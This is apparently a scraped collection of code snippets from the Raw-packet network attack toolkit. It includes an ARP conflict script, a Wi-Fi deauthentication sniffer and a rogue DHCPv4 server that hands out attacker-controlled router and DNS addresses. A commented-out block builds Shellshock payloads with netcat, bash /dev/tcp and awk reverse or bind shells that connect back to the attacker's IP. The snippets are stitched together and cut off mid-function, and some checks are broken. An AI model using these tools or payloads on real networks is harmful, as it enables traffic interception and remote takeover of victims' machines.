            answers = self.test_ipv6_resolver.query(config_success_domain,
                                                    AAAA)
            for answer in answers:
                self.result_addresses.append(answer.address)
            self.assertEqual(self.result_addresses, [self.ipv6_address])
            self.result_addresses.clear()

        for no_such_domain in self.config_no_such_domains:
            nslookup_process = run(
                ['nslookup ' + no_such_domain + ' ' + self.ipv6_address],
                stdout=PIPE,
                shell=True)
            nslookup_stdout: str = nslookup_process.stdout.decode('utf-8')
            self.assertIn('server can\'t find ' + no_such_domain,
                          nslookup_stdout)

        remove(self.config_file_name)
Ejemplo n.º 18
0
# region Authorship information
__author__ = 'Vladimir Ivanov'
__copyright__ = 'Copyright 2019, Raw-packet Project'
__credits__ = ['']
__license__ = 'MIT'
__version__ = '0.0.4'
__maintainer__ = 'Vladimir Ivanov'
__email__ = '*****@*****.**'
__status__ = 'Production'
# endregion

# region Check user and platform
Base = Base()
ArpScan = ArpScan()
Sniff = Sniff_raw()
TM = ThreadManager(2)

Base.check_user()
Base.check_platform()
# endregion

# region Parse script arguments
parser = ArgumentParser(description='Network conflict creator script')

parser.add_argument('-i', '--interface', type=str, help='Set interface name for listen and send packets')
parser.add_argument('-t', '--target_ip', type=str, help='Set target IP address', default=None)
parser.add_argument('-m', '--target_mac', type=str, help='Set target MAC address', default=None)

parser.add_argument('--replies', action='store_true', help='Send only ARP replies')
parser.add_argument('--requests', action='store_true', help='Send only ARP requests')
parser.add_argument('--broadcast', action='store_true', help='Send broadcast ARP requests')
Ejemplo n.º 19
0
            if target_mac == "ff:ff:ff:ff:ff:ff":
                Base.print_error(
                    "Could not find device MAC address with IP address: ",
                    target_ip)
                exit(1)
            else:
                apple_device = [target_ip, target_mac]
        # endregion

        # region Print target IP and MAC address
        Base.print_info("Target: ",
                        apple_device[0] + " (" + apple_device[1] + ")")
        # endregion

        # region Start sniffer
        tm = ThreadManager(2)
        tm.add_task(sniffer)
        # endregion

        # region Send first Multicast ARP request
        sleep(3)
        Base.print_warning("Send initial Multicast ARP requests")
        send_arp_request()
        # endregion

        # region Wait for completion
        tm.wait_for_completion()
        # endregion

    except KeyboardInterrupt:
        Base.print_info("Exit")
Ejemplo n.º 20
0
    def get_mac_address(self,
                        network_interface: str = 'eth0',
                        target_ip_address: str = '192.168.0.1',
                        timeout: int = 5,
                        retry: int = 5,
                        exit_on_failure: bool = True,
                        show_scan_percentage: bool = True) -> str:
        """
        Get MAC address of IP address on network interface
        :param network_interface: Network interface name (example: 'eth0')
        :param timeout: Timeout in seconds (default: 3)
        :param retry: Retry number (default: 3)
        :param target_ip_address: Target IPv4 address (example: 192.168.0.1)
        :param exit_on_failure: Exit if MAC address of target IP address not found (default: True)
        :param show_scan_percentage: Show ARP scan progress percentage (default: True)
        :return: MAC address of target IP address (example: '01:23:45:67:89:0a')
        """

        # region Set result MAC address value
        result_mac_address = 'ff:ff:ff:ff:ff:ff'
        # endregion
        try:
            # region Clear lists with scan results
            self.results.clear()
            self.unique_results.clear()
            self.mac_addresses.clear()
            # endregion

            # region Set variables
            self.quit = not show_scan_percentage
            self.target_ip_address = target_ip_address
            self.network_interface = network_interface
            self.timeout = int(timeout)
            self.retry_number = int(retry)
            # endregion

            # region Run _sniffer
            tm = ThreadManager(2)
            tm.add_task(self._sniff)
            # endregion

            # region Run sender
            self._send()
            # endregion

            # region Wait
            sleep(self.timeout)
            # endregion

            # region Return
            if 'mac-address' in self.results[0].keys():
                result_mac_address = self.results[0]['mac-address']
            # endregion

        except IndexError:
            pass

        except KeyboardInterrupt:
            self.base.print_info('Exit')
            exit(0)

        if result_mac_address == 'ff:ff:ff:ff:ff:ff':
            if exit_on_failure:
                self.base.print_error(
                    'Could not find MAC address of IP address: ',
                    target_ip_address)
                exit(1)

        return result_mac_address
Ejemplo n.º 21
0
    def _send_queries(
            self,
            send_socket,  # type: socket
            source_mac_address,  # type: str
            source_ipv4_address,  # type: str
            source_ipv6_address,  # type: str
            domain,  # type: str
            ns_servers,  # type: List[Dict[str, str]]
            destination_port=53,  # type: int
            max_threats_count=9,  # type: int
            subdomains=['www'],  # type: List[str]
            queries_type=[1, 28],  # type: List[int]
            queries_class=[1]  # type: List[int]
    ):
        # type: (...) -> None
        """
        Send DNS queries to IPv4/IPv6 DNS servers
        :param send_socket: Raw socket for sending DNS queries
        :param source_mac_address: Source MAC address for DNS query (most likely this is MAC address on your network interface)
        :param source_ipv4_address: Source IPv4 address for DNS query (most likely this is IPv4 address on your network interface)
        :param source_ipv6_address: Source IPv6 address for DNS query (most likely this is IPv6 address on your network interface)
        :param domain: Target domain (example: 'test.com')
        :param ns_servers: List of DNS servers (example: [{'ipv4 address': '8.8.8.8', 'mac address': '01:23:45:67:89:0a'}])
        :param destination_port: UDP destination port (default: 53)
        :param max_threats_count: Maximum threats count (default: 9)
        :param subdomains: List of subdomains (default: ['www'])
        :param queries_type: List of queries type (default: [1, 28]; type 1: A, type 28: AAAA)
        :param queries_class: List of queries class (default: [1]; class 1: IN)
        :return: None
        """

        # DNS query type: 1 (A)
        # DNS query type: 28 (AAAA)
        # DNS query class: 1 (IN)

        # region Init threat manager
        send_threats = ThreadManager(max_threats_count)
        # endregion

        # region Make DNS queries list
        queries = list()
        for subdomain in subdomains:
            for query_type in queries_type:
                for query_class in queries_class:
                    queries.append({
                        'type': query_type,
                        'class': query_class,
                        'name': subdomain + '.' + domain
                    })
        # endregion

        # region Calculate number of DNS queries for one threat
        queries_len = len(queries)
        ipv4_ns_servers_len = 0
        ipv6_ns_servers_len = 0

        for ns_server in ns_servers:
            if 'ipv4 address' in ns_server.keys():
                ipv4_ns_servers_len += 1
            if 'ipv6 address' in ns_server.keys():
                ipv6_ns_servers_len += 1

        if source_ipv6_address is not None:
            queries_len_for_threat = int(
                (queries_len * (ipv4_ns_servers_len + ipv6_ns_servers_len)) /
                max_threats_count) + 1
        else:
            queries_len_for_threat = int(
                (queries_len * ipv4_ns_servers_len) / max_threats_count) + 1
        # endregion

        # region Send DNS queries

        # region Send DNS queries to IPv4 NS servers
        for ns_server in ns_servers:
            if 'ipv4 address' in ns_server.keys():
                for query_index in range(0, queries_len,
                                         queries_len_for_threat):
                    send_threats.add_task(
                        self._send_ipv4_queries, source_mac_address,
                        source_ipv4_address, ns_server['mac address'],
                        ns_server['ipv4 address'], destination_port,
                        queries[query_index:query_index +
                                queries_len_for_threat], send_socket)
        # endregion

        # region Send DNS queries to IPv6 NS servers
        if source_ipv6_address is not None:
            for ns_server in ns_servers:
                if 'ipv6 address' in ns_server.keys():
                    for query_index in range(0, queries_len,
                                             queries_len_for_threat):
                        send_threats.add_task(
                            self._send_ipv6_queries, source_mac_address,
                            source_ipv6_address, ns_server['mac address'],
                            ns_server['ipv6 address'], destination_port,
                            queries[query_index:query_index +
                                    queries_len_for_threat], send_socket)
        # endregion

        # endregion

        # region Wait all threats
        send_threats.wait_for_completion()
Ejemplo n.º 22
0

# region Main function
if __name__ == "__main__":

    path.append(dirname(dirname(dirname(abspath(__file__)))))

    from raw_packet.Utils.base import Base
    from raw_packet.Utils.network import RawEthernet
    from raw_packet.Utils.network import RawRadiotap
    from raw_packet.Utils.network import RawIEEE80211
    from raw_packet.Utils.network import RawSniff
    from raw_packet.Utils.tm import ThreadManager

    base: Base = Base()
    eth: RawEthernet = RawEthernet()
    radio: RawRadiotap = RawRadiotap()
    iee: RawIEEE80211 = RawIEEE80211()
    tm: ThreadManager = ThreadManager(2)
    sniff: RawSniff = RawSniff()

    # region Start sniffer
    raw_socket.bind(('wlan0', 0))
    init_deauth()
    print('test')
    sniff.start(protocols=['Radiotap', '802.11'], prn=deauth, network_interface='wlan0',
                filters={'802.11': {'type': 0xc0, 'bss id': bss_id, 'source': client, 'destination': bss_id}})
    # endregion

# endregion
Ejemplo n.º 23
0
class DHCPv4Server:

    # region Set properties
    _base: Base = Base()
    _utils: Utils = Utils()
    _sniff: RawSniff = RawSniff()
    _arp: RawARP = RawARP()
    _eth: RawEthernet = RawEthernet()
    _dhcpv4: RawDHCPv4 = RawDHCPv4()
    _thread_manager: ThreadManager = ThreadManager(10)

    _your: Dict[str, Union[None, str]] = {
        'network-interface': None,
        'mac-address': None,
        'ipv4-address': None
    }
    _target: Dict[str, Union[None, str]] = {
        'mac-address': None,
        'ipv4-address': None
    }
    _domain_search: Union[None, bytes] = None

    _free_ip_addresses: List[str] = list()
    _clients: Dict[str, Union[str, Dict[str, Union[bool, str]]]] = dict()

    _lease_time: int = 172800
    _shellshock_option_code: int = 114

    _discover_sender_is_work: bool = False
    _discover_sender_delay: float = 0.25

    _send_dhcp_discover_packets: bool = False
    _send_dhcp_offer_packets: bool = True
    _send_broadcast_dhcp_response: bool = False

    _exit_on_success: bool = False
    _apple: bool = False
    _quiet: bool = True

    # endregion

    # region Init
    def __init__(self, network_interface: str):
        self._your = self._base.get_interface_settings(
            interface_name=network_interface,
            required_parameters=[
                'mac-address', 'ipv4-address', 'ipv4-netmask',
                'first-ipv4-address', 'second-ipv4-address',
                'penultimate-ipv4-address', 'last-ipv4-address'
            ])
        self._ipv4_network_mask: str = self._your['ipv4-netmask']
        self._first_offer_ipv4_address: str = self._your['second-ipv4-address']
        self._last_offer_ipv4_address: str = self._your[
            'penultimate-ipv4-address']
        self._dhcp_server_mac_address: str = self._your['mac-address']
        self._dhcp_server_ipv4_address: str = self._your['ipv4-address']
        self._dns_server_ipv4_address: str = self._your['ipv4-address']
        self._tftp_server_ipv4_address: str = self._your['ipv4-address']
        self._wins_server_ipv4_address: str = self._your['ipv4-address']
        self._router_ipv4_address: str = self._your['ipv4-address']
        self._raw_send: RawSend = RawSend(network_interface=network_interface)

    # endregion

    # region Start DHCPv4 server
    def start(self,
              target_mac_address: Union[None, str] = None,
              target_ipv4_address: Union[None, str] = None,
              ipv4_network_mask: Union[None, str] = None,
              first_offer_ipv4_address: Union[None, str] = None,
              last_offer_ipv4_address: Union[None, str] = None,
              dhcp_server_mac_address: Union[None, str] = None,
              dhcp_server_ipv4_address: Union[None, str] = None,
              dns_server_ipv4_address: Union[None, str] = None,
              tftp_server_ipv4_address: Union[None, str] = None,
              wins_server_ipv4_address: Union[None, str] = None,
              router_ipv4_address: Union[None, str] = None,
              domain_search: str = 'domain.local',
              lease_time: int = 172800,
              shellshock_option_code: int = 114,
              send_dhcp_discover_packets: bool = False,
              send_dhcp_offer_packets: bool = False,
              send_broadcast_dhcp_response: bool = False,
              exit_on_success: bool = False,
              apple: bool = False,
              quiet: bool = False):

        # region Set variables
        self._lease_time = lease_time
        self._domain_search = domain_search.encode('utf-8')
        self._send_dhcp_discover_packets = send_dhcp_discover_packets
        self._send_dhcp_offer_packets = send_dhcp_offer_packets
        self._send_broadcast_dhcp_response = send_broadcast_dhcp_response
        self._exit_on_success = exit_on_success
        self._apple = apple
        self._quiet = quiet
        # endregion

        # region Get your network settings
        if ipv4_network_mask is not None:
            self._ipv4_network_mask = ipv4_network_mask
        # endregion

        # region Set target MAC and IP address, if target IP is not set - get first and last offer IP

        # region Target MAC address is set
        if target_mac_address is not None:
            self._target['mac-address'] = self._utils.check_mac_address(
                mac_address=target_mac_address,
                parameter_name='target MAC address')
        # endregion

        # region Target IP is set
        if target_ipv4_address is not None:
            assert self._target['mac-address'] is not None, \
                'Please set target MAC address' + \
                ', for target IP address: ' + self._base.info_text(target_ipv4_address)
            self._target['ipv4-address'] = \
                self._utils.check_ipv4_address(network_interface=self._your['network-interface'],
                                               ipv4_address=target_ipv4_address,
                                               parameter_name='target IPv4 address')
        # endregion

        # region Target IP is not set - get first and last offer IP
        else:
            # Check first offer IP address
            if first_offer_ipv4_address is not None:
                self._first_offer_ipv4_address = \
                    self._utils.check_ipv4_address(network_interface=self._your['network-interface'],
                                                   ipv4_address=first_offer_ipv4_address,
                                                   parameter_name='first offer IPv4 address')

            # Check last offer IP address
            if last_offer_ipv4_address is not None:
                self._last_offer_ipv4_address = \
                    self._utils.check_ipv4_address(network_interface=self._your['network-interface'],
                                                   ipv4_address=last_offer_ipv4_address,
                                                   parameter_name='last offer IPv4 address')
        # endregion

        # endregion

        # region Set DHCP sever MAC and IP address
        if dhcp_server_mac_address is not None:
            self._dhcp_server_mac_address = \
                self._utils.check_mac_address(mac_address=dhcp_server_mac_address,
                                              parameter_name='DHCPv4 server MAC address')

        if dhcp_server_ipv4_address is not None:
            self._dhcp_server_ipv4_address = \
                self._utils.check_ipv4_address(network_interface=self._your['network-interface'],
                                               ipv4_address=dhcp_server_ipv4_address,
                                               parameter_name='DHCPv4 server IPv4 address')
        # endregion

        # region Set router, dns, tftp, wins IP address

        # region Set router IP address
        if router_ipv4_address is not None:
            self._router_ipv4_address = \
                self._utils.check_ipv4_address(network_interface=self._your['network-interface'],
                                               ipv4_address=dhcp_server_ipv4_address,
                                               parameter_name='router IPv4 address')
        # endregion

        # region Set DNS server IP address
        if dns_server_ipv4_address is not None:
            assert self._base.ip_address_validation(dns_server_ipv4_address), \
                'Bad DNS server IPv4 address: ' + self._base.info_text(dns_server_ipv4_address)
            self._dns_server_ipv4_address = dns_server_ipv4_address
        # endregion

        # region Set TFTP server IP address
        if tftp_server_ipv4_address is not None:
            self._tftp_server_ipv4_address = \
                self._utils.check_ipv4_address(network_interface=self._your['network-interface'],
                                               ipv4_address=tftp_server_ipv4_address,
                                               parameter_name='TFTP server IPv4 address')
        # endregion

        # region Set WINS server IP address
        if wins_server_ipv4_address is not None:
            self._wins_server_ipv4_address = \
                self._utils.check_ipv4_address(network_interface=self._your['network-interface'],
                                               ipv4_address=tftp_server_ipv4_address,
                                               parameter_name='WINS server IPv4 address')
        # endregion

        # endregion

        # region Set Shellshock option code
        if 255 < shellshock_option_code < 0:
            self._base.print_error(
                'Bad Shellshock option code: ', str(shellshock_option_code),
                '; This value should be in the range from 1 to 254')
            exit(1)
        else:
            self._shellshock_option_code = shellshock_option_code
        # endregion

        # region General output
        if not self._quiet:
            self._base.print_info('Network interface: ',
                                  self._your['network-interface'])
            self._base.print_info('Your IP address: ',
                                  self._your['ipv4-address'])
            self._base.print_info('Your MAC address: ',
                                  self._your['mac-address'])

            if self._target['mac-address'] is not None:
                self._base.print_info('Target MAC: ',
                                      self._target['mac-address'])

            # If target IP address is set print target IP, else print first and last offer IP
            if self._target['ipv4-address'] is not None:
                self._base.print_info('Target IP: ',
                                      self._target['ipv4-address'])
            else:
                self._base.print_info('First offer IP: ',
                                      self._first_offer_ipv4_address)
                self._base.print_info('Last offer IP: ',
                                      self._last_offer_ipv4_address)

            self._base.print_info('DHCP server mac address: ',
                                  self._dhcp_server_mac_address)
            self._base.print_info('DHCP server ip address: ',
                                  self._dhcp_server_ipv4_address)
            self._base.print_info('Router IP address: ',
                                  self._router_ipv4_address)
            self._base.print_info('DNS server IP address: ',
                                  self._dns_server_ipv4_address)
            self._base.print_info('TFTP server IP address: ',
                                  self._tftp_server_ipv4_address)
            self._base.print_info('WINS server IP address: ',
                                  self._wins_server_ipv4_address)
        # endregion

        # region Add ip addresses in list with free ip addresses from first to last offer IP
        if self._target['ipv4-address'] is None:
            self._base.print_info(
                'Create list with free IP addresses in your network ...')
            self._free_ip_addresses = \
                self._utils.get_free_ipv4_addresses(network_interface=self._your['network-interface'],
                                                    first_ipv4_address=self._first_offer_ipv4_address,
                                                    last_ipv4_address=last_offer_ipv4_address,
                                                    quiet=self._quiet)
        # endregion

        # region Send DHCP discover packets in the background thread
        if self._send_dhcp_discover_packets:
            if not self._quiet:
                self._base.print_info(
                    'Start DHCP discover packets send in the background thread ...'
                )
                self._base.print_info('Delay between DHCP discover packets: ',
                                      str(self._discover_sender_delay))
            self._thread_manager.add_task(self._discover_sender)
        # endregion

        # region Sniff network

        # region Print info message
        self._base.print_info('Waiting for a ARP or DHCP requests ...')
        # endregion

        # region Set sniff filters
        sniff_filters: Dict = {
            'Ethernet': {
                'not-source': self._your['mac-address']
            },
            'ARP': {
                'opcode': 1
            },
            'UDP': {
                'destination-port': 67,
                'source-port': 68
            }
        }
        scapy_lfilter: Any = lambda eth: eth.src != self._your['mac-address']

        if self._target['mac-address'] is not None:
            sniff_filters['Ethernet'] = {'source': self._target['mac-address']}
            scapy_lfilter: Any = lambda eth: eth.src == self._target[
                'mac-address']
        # endregion

        # region Start sniffer
        self._sniff.start(protocols=['ARP', 'IPv4', 'UDP', 'DHCPv4'],
                          prn=self._reply,
                          filters=sniff_filters,
                          network_interface=self._your['network-interface'],
                          scapy_filter='arp or (udp and (port 67 or 68))',
                          scapy_lfilter=scapy_lfilter)
        # endregion

        # endregion

    # endregion

    # region Add client info in clients dictionary
    def _add_client_info_in_dictionary(
            self,
            client_mac_address: str,
            client_info: Union[bool, str, Dict[str, Union[bool, str]]],
            this_client_already_in_dictionary: bool = False) -> None:
        if this_client_already_in_dictionary:
            self._clients[client_mac_address].update(client_info)
        else:
            self._clients[client_mac_address] = client_info

    # endregion

    # region Make DHCP offer packet
    def _make_dhcp_offer_packet(
            self,
            transaction_id: int,
            offer_ip: str,
            client_mac: str,
            destination_mac: Union[None, str] = None,
            destination_ip: Union[None, str] = None) -> Union[None, bytes]:
        if destination_mac is None:
            destination_mac = 'ff:ff:ff:ff:ff:ff'
        if destination_ip is None:
            destination_ip = '255.255.255.255'
        return self._dhcpv4.make_response_packet(
            ethernet_src_mac=self._dhcp_server_mac_address,
            ethernet_dst_mac=destination_mac,
            ip_src=self._dhcp_server_ipv4_address,
            ip_dst=destination_ip,
            transaction_id=transaction_id,
            dhcp_message_type=2,
            your_client_ip=offer_ip,
            client_mac=client_mac,
            dhcp_server_id=self._dhcp_server_ipv4_address,
            lease_time=self._lease_time,
            netmask=self._ipv4_network_mask,
            router=self._router_ipv4_address,
            dns=self._dns_server_ipv4_address,
            payload=None)

    # endregion

    # region Make DHCP ack packet
    def _make_dhcp_ack_packet(
            self,
            transaction_id: int,
            target_mac: str,
            target_ip: str,
            destination_mac: Union[None, str] = None,
            destination_ip: Union[None, str] = None,
            shellshock_payload: Union[None, str] = None) -> Union[None, bytes]:
        if destination_mac is None:
            destination_mac: str = 'ff:ff:ff:ff:ff:ff'
        if destination_ip is None:
            destination_ip: str = '255.255.255.255'

        return self._dhcpv4.make_response_packet(
            ethernet_src_mac=self._dhcp_server_mac_address,
            ethernet_dst_mac=destination_mac,
            ip_src=self._dhcp_server_ipv4_address,
            ip_dst=destination_ip,
            transaction_id=transaction_id,
            dhcp_message_type=5,
            your_client_ip=target_ip,
            client_mac=target_mac,
            dhcp_server_id=self._dhcp_server_ipv4_address,
            lease_time=self._lease_time,
            netmask=self._ipv4_network_mask,
            router=self._router_ipv4_address,
            dns=self._dns_server_ipv4_address,
            payload=shellshock_payload,
            payload_option_code=self._shellshock_option_code,
            domain=self._domain_search,
            tftp=self._tftp_server_ipv4_address,
            wins=self._wins_server_ipv4_address)

    # endregion

    # region Make DHCP nak packet
    def _make_dhcp_nak_packet(self, transaction_id: int, target_mac: str,
                              target_ip: str,
                              requested_ip: str) -> Union[None, bytes]:
        return self._dhcpv4.make_nak_packet(
            ethernet_src_mac=self._dhcp_server_mac_address,
            ethernet_dst_mac=target_mac,
            ip_src=self._dhcp_server_ipv4_address,
            ip_dst=requested_ip,
            transaction_id=transaction_id,
            your_client_ip=target_ip,
            client_mac=target_mac,
            dhcp_server_id=self._dhcp_server_ipv4_address)

    # endregion

    # region Send DHCP discover packets
    def _discover_sender(self, number_of_packets=999999) -> None:
        packet_index = 0
        self._discover_sender_is_work = True
        while packet_index < number_of_packets:
            try:
                self._raw_send.send_packet(
                    self._dhcpv4.make_discover_packet(
                        ethernet_src_mac=self._your['mac-address'],
                        client_mac=self._eth.make_random_mac(),
                        host_name=self._base.make_random_string(),
                        relay_agent_ip=self._your['ipv4-address']))
                sleep(self._discover_sender_delay)
            except TypeError:
                self._base.print_error(
                    'Something went wrong when sending DHCP discover packets!')
                break
            packet_index += 1
        self._discover_sender_is_work = False

    # endregion

    # region Reply to DHCPv4 and ARP requests
    def _reply(self, packet):

        # region DHCP
        if 'DHCPv4' in packet.keys():

            # region Get transaction id and client MAC address
            transaction_id = packet['BOOTP']['transaction-id']
            client_mac_address = packet['BOOTP']['client-mac-address']
            # endregion

            # region Check this client already in dict
            client_already_in_dictionary = False
            if client_mac_address in self._clients.keys():
                client_already_in_dictionary = True
            # endregion

            # region DHCP DISCOVER
            if packet['DHCPv4'][53] == 1:

                # region Print INFO message
                self._base.print_info('DHCP DISCOVER from: ',
                                      client_mac_address, ' transaction id: ',
                                      hex(transaction_id))
                # endregion

                # If parameter 'Do not send DHCP OFFER packets' is not set
                if not self._send_dhcp_offer_packets:

                    # region Start DHCP discover sender
                    if self._send_dhcp_discover_packets:
                        if not self._discover_sender_is_work:
                            self._discover_sender(100)
                    # endregion

                    # If target IP address is set - offer IP = target IP
                    if self._target['ipv4-address'] is not None:
                        offer_ip_address = self._target['ipv4-address']

                    # If target IP address is not set - offer IP = random IP from free IP addresses list
                    else:
                        random_index = randint(0, len(self._free_ip_addresses))
                        offer_ip_address = self._free_ip_addresses[
                            random_index]

                        # Delete offer IP from free IP addresses list
                        del self._free_ip_addresses[random_index]

                    if self._send_broadcast_dhcp_response:
                        offer_packet = \
                            self._make_dhcp_offer_packet(transaction_id, offer_ip_address, client_mac_address)
                    else:
                        offer_packet = \
                            self._make_dhcp_offer_packet(transaction_id, offer_ip_address, client_mac_address,
                                                         client_mac_address, offer_ip_address)

                    self._raw_send.send_packet(offer_packet)

                    # Add client info in global self._clients dictionary
                    self._add_client_info_in_dictionary(
                        client_mac_address, {
                            'transaction': transaction_id,
                            'discover': True,
                            'offer_ip': offer_ip_address
                        }, client_already_in_dictionary)

                    # Print INFO message
                    self._base.print_info('DHCP OFFER to: ',
                                          client_mac_address, ' offer IP: ',
                                          offer_ip_address)

            # endregion

            # region DHCP RELEASE
            if packet['DHCPv4'][53] == 7:
                if packet['BOOTP']['client-ip-address'] is not None:
                    client_ip = packet['BOOTP']['client-ip-address']
                    self._base.print_info(
                        'DHCP RELEASE from: ',
                        client_ip + ' (' + client_mac_address + ')',
                        ' transaction id: ', hex(transaction_id))

                    # Add client info in global self._clients dictionary
                    self._add_client_info_in_dictionary(
                        client_mac_address, {'client_ip': client_ip},
                        client_already_in_dictionary)
                    # print self._clients

                    # Add release client IP in free IP addresses list
                    if client_ip not in self._free_ip_addresses:
                        self._free_ip_addresses.append(client_ip)
                else:
                    self._base.print_info('DHCP RELEASE from: ',
                                          client_mac_address,
                                          ' transaction id: ',
                                          hex(transaction_id))

                # Add client info in global self._clients dictionary
                self._add_client_info_in_dictionary(
                    client_mac_address, {'release': True},
                    client_already_in_dictionary)
                # print self._clients
            # endregion

            # region DHCP INFORM
            if packet['DHCPv4'][53] == 8:
                if packet['BOOTP']['client-ip-address'] is not None:
                    client_ip = packet['BOOTP']['client-ip-address']
                    self._base.print_info(
                        'DHCP INFORM from: ',
                        client_ip + ' (' + client_mac_address + ')',
                        ' transaction id: ', hex(transaction_id))

                    # If client IP in free IP addresses list delete this
                    if client_ip in self._free_ip_addresses:
                        self._free_ip_addresses.remove(client_ip)

                    # Add client info in global self._clients dictionary
                    self._add_client_info_in_dictionary(
                        client_mac_address, {'client_ip': client_ip},
                        client_already_in_dictionary)
                    # print self._clients

                else:
                    self._base.print_info('DHCP INFORM from: ',
                                          client_mac_address,
                                          ' transaction id: ',
                                          hex(transaction_id))

                # Add client info in global self._clients dictionary
                self._add_client_info_in_dictionary(
                    client_mac_address, {'inform': True},
                    client_already_in_dictionary)
                # print self._clients
            # endregion

            # region DHCP REQUEST
            if packet['DHCPv4'][53] == 3:

                # region Set local variables
                requested_ip = '0.0.0.0'
                offer_ip = None
                # endregion

                # region Get requested IP
                if 50 in packet['DHCPv4'].keys():
                    requested_ip = str(packet['DHCPv4'][50])
                # endregion

                # region Print info message
                self._base.print_info('DHCP REQUEST from: ',
                                      client_mac_address, ' transaction id: ',
                                      hex(transaction_id), ' requested ip: ',
                                      requested_ip)
                # endregion

                # region Requested IP not in range from first offer IP to last offer IP
                if not self._base.ip_address_in_range(
                        requested_ip, self._first_offer_ipv4_address,
                        self._last_offer_ipv4_address):
                    self._base.print_warning(
                        'Client: ', client_mac_address, ' requested IP: ',
                        requested_ip, ' not in range: ',
                        self._first_offer_ipv4_address + ' - ' +
                        self._last_offer_ipv4_address)
                # endregion

                # region Requested IP in range from first offer IP to last offer IP
                else:
                    # region Start DHCP discover sender
                    if self._send_dhcp_discover_packets:
                        if not self._discover_sender_is_work:
                            self._discover_sender(100)
                    # endregion

                    # region Change client info in global self._clients dictionary

                    # Add client info in global self._clients dictionary
                    self._add_client_info_in_dictionary(
                        client_mac_address, {
                            'packet': True,
                            'requested_ip': requested_ip,
                            'transaction': transaction_id
                        }, client_already_in_dictionary)

                    # Delete ARP mitm success keys in dictionary for this client
                    self._clients[client_mac_address].pop(
                        'client request his ip', None)
                    self._clients[client_mac_address].pop(
                        'client request router ip', None)
                    self._clients[client_mac_address].pop(
                        'client request dns ip', None)

                    # endregion

                    # region Get offer IP address
                    try:
                        offer_ip = self._clients[client_mac_address][
                            'offer_ip']
                    except KeyError:
                        pass
                    # endregion

                    # region This client already send DHCP DISCOVER and offer IP != requested IP
                    if offer_ip is not None and offer_ip != requested_ip:
                        # Print error message
                        self._base.print_error('Client: ', client_mac_address,
                                               ' requested IP: ', requested_ip,
                                               ' not like offer IP: ',
                                               offer_ip)

                        # Create and send DHCP nak packet
                        nak_packet = \
                            self._make_dhcp_nak_packet(transaction_id, client_mac_address, offer_ip, requested_ip)
                        self._raw_send.send_packet(nak_packet)
                        self._base.print_info('DHCP NAK to: ',
                                              client_mac_address,
                                              ' requested ip: ', requested_ip)

                        # Add client info in global self._clients dictionary
                        self._add_client_info_in_dictionary(
                            client_mac_address, {
                                'mitm':
                                'error: offer ip not like requested ip',
                                'offer_ip': None
                            }, client_already_in_dictionary)
                        # print self._clients
                    # endregion

                    # region Offer IP == requested IP or this is a first packet from this client
                    else:

                        # region Target IP address is set and requested IP != target IP
                        if self._target[
                                'ipv4-address'] is not None and requested_ip != self._target[
                                    'ipv4-address']:

                            # Print error message
                            self._base.print_error(
                                'Client: ', client_mac_address,
                                ' requested IP: ', requested_ip,
                                ' not like target IP: ',
                                self._target['ipv4-address'])

                            # Create and send DHCP nak packet
                            nak_packet = self._make_dhcp_nak_packet(
                                transaction_id, client_mac_address,
                                self._target['ipv4-address'], requested_ip)
                            self._raw_send.send_packet(nak_packet)
                            self._base.print_info('DHCP NAK to: ',
                                                  client_mac_address,
                                                  ' requested ip: ',
                                                  requested_ip)

                            # Add client info in global self._clients dictionary
                            self._add_client_info_in_dictionary(
                                client_mac_address, {
                                    'mitm':
                                    'error: target ip not like requested ip',
                                    'offer_ip': None,
                                    'nak': True
                                }, client_already_in_dictionary)

                        # endregion

                        # region Target IP address is set and requested IP == target IP or Target IP is not set
                        else:

                            # # region Settings shellshock payload
                            # payload: Union[None, str] = None
                            # shellshock_payload: Union[None, str] = None
                            #
                            # try:
                            #     assert args.shellshock_command is not None \
                            #            or args.bind_shell \
                            #            or args.nc_reverse_shell \
                            #            or args.nce_reverse_shell \
                            #            or args.bash_reverse_shell, 'ShellShock not used!'
                            #     # region Create payload
                            #
                            #     # Network settings command in target machine
                            #     net_settings = args.ip_path + 'ip addr add ' + requested_ip + '/' + \
                            #                    str(IPAddress(self._ipv4_network_mask).netmask_bits()) + \
                            #                    ' dev ' + args.iface_name + ';'
                            #
                            #     # Shellshock payload: <user bash command>
                            #     if args.shellshock_command is not None:
                            #         payload = args.shellshock_command
                            #
                            #     # Shellshock payload:
                            #     # awk 'BEGIN{s='/inet/tcp/<bind_port>/0/0';for(;s|&getline c;close(c))while(c|getline)print|&s;close(s)}' &
                            #     if args.bind_shell:
                            #         payload = 'awk \'BEGIN{s=\'/inet/tcp/' + str(args.bind_port) + \
                            #                   '/0/0\';for(;s|&getline c;close(c))while(c|getline)print|&s;close(s)}\' &'
                            #
                            #     # Shellshock payload:
                            #     # rm /tmp/f 2>/dev/null;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc <your_ip> <your_port> >/tmp/f &
                            #     if args.nc_reverse_shell:
                            #         payload = 'rm /tmp/f 2>/dev/null;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc ' + \
                            #                   your_ip_address + ' ' + str(args.reverse_port) + ' >/tmp/f &'
                            #
                            #     # Shellshock payload:
                            #     # /bin/nc -e /bin/sh <your_ip> <your_port> 2>&1 &
                            #     if args.nce_reverse_shell:
                            #         payload = '/bin/nc -e /bin/sh ' + your_ip_address + ' ' + str(args.reverse_port) + ' 2>&1 &'
                            #
                            #     # Shellshock payload:
                            #     # /bin/bash -i >& /dev/tcp/<your_ip>/<your_port> 0>&1 &
                            #     if args.bash_reverse_shell:
                            #         payload = '/bin/bash -i >& /dev/tcp/' + your_ip_address + \
                            #                   '/' + str(args.reverse_port) + ' 0>&1 &'
                            #
                            #     if payload is not None:
                            #
                            #         # Do not add network settings command in payload
                            #         if not args.without_network:
                            #             payload = net_settings + payload
                            #
                            #         # Send payload to target in clear text
                            #         if args.without_self._base64:
                            #             shellshock_payload = '() { :; }; ' + payload
                            #
                            #         # Send self._base64 encoded payload to target in clear text
                            #         else:
                            #             payload = b64encode(payload)
                            #             shellshock_payload = '() { :; }; /bin/sh <(/usr/bin/self._base64 -d <<< ' + payload + ')'
                            #     # endregion
                            #
                            #     # region Check Shellshock payload length
                            #     if shellshock_payload is not None:
                            #         if len(shellshock_payload) > 255:
                            #             self._base.print_error('Length of shellshock payload is very big! Current length: ',
                            #                              str(len(shellshock_payload)), ' Maximum length: ', '254')
                            #             shellshock_payload = None
                            #     # endregion
                            #
                            # except AssertionError:
                            #     pass
                            # # endregion

